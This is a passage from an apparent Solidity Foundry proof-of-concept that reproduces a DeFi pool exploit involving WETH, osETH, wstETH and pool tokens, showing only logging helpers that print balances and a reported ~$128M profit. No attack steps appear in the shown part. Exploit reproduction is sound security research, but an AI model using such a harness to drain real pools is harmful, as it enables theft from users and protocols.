emit log_named_decimal_uint(unicode" │ │ ├─ WETH", balances[0], 18); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ osETH", balances[1], 18); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ wstETH", balances[3], 18); |
|
emit log_named_decimal_uint(unicode" │ │ ├─ BPT_osETH", balances[2], 18); |
|
emit log_named_decimal_uint(unicode" │ │ └─ BPT_wstETH", balances[4], 18); |
|
} |
|
|
|
/// @notice Logs final profits |
|
function _logFinalProfits( |
|
uint256 initialWeth, |
|
uint256 initialOsETH, |
|
uint256 initialBpt, |
|
uint256 initialWstETH, |
|
uint256 initialBptWstETH, |
|
uint256 finalWeth, |
|
uint256 finalOsETH, |
|
uint256 finalBpt, |
|
uint256 finalWstETH, |
|
uint256 finalBptWstETH |
|
) internal { |
|
emit log(unicode" │"); |
|
emit log(unicode" └─┐ Post-Exploit Balances (profit):"); |
|
emit log_named_decimal_int(unicode" ├─ WETH Δ", int256(finalWeth) - int256(initialWeth), 18); |
|
emit log_named_decimal_int(unicode" ├─ osETH Δ", int256(finalOsETH) - int256(initialOsETH), 18); |
|
emit log_named_decimal_int(unicode" ├─ wstETH Δ", int256(finalWstETH) - int256(initialWstETH), 18); |
|
emit log_named_decimal_int(unicode" ├─ BPT_osETH Δ", int256(finalBpt) - int256(initialBpt), 18); |
|
emit log_named_decimal_int(unicode" └─ BPT_wstETH Δ", int256(finalBptWstETH) - int256(initialBptWstETH), 18); |
|
emit log(unicode"\n ✅ Exploit successfully reproduced (~$128M profit)"); |
|
} |
|
|
|
/// @notice Gets indentation prefix for tree structure |
|
function _getIndent( |
|
uint256 level |
|
) internal pure returns (string memory) { |
|
if (level == 0) return ""; |
|
if (level == 1) return " "; |
|
if (level == 2) return " "; |
|
if (level == 3) return " "; |
|
return " "; |
|
} |
|
|
|
receive() external payable {} |
|
} |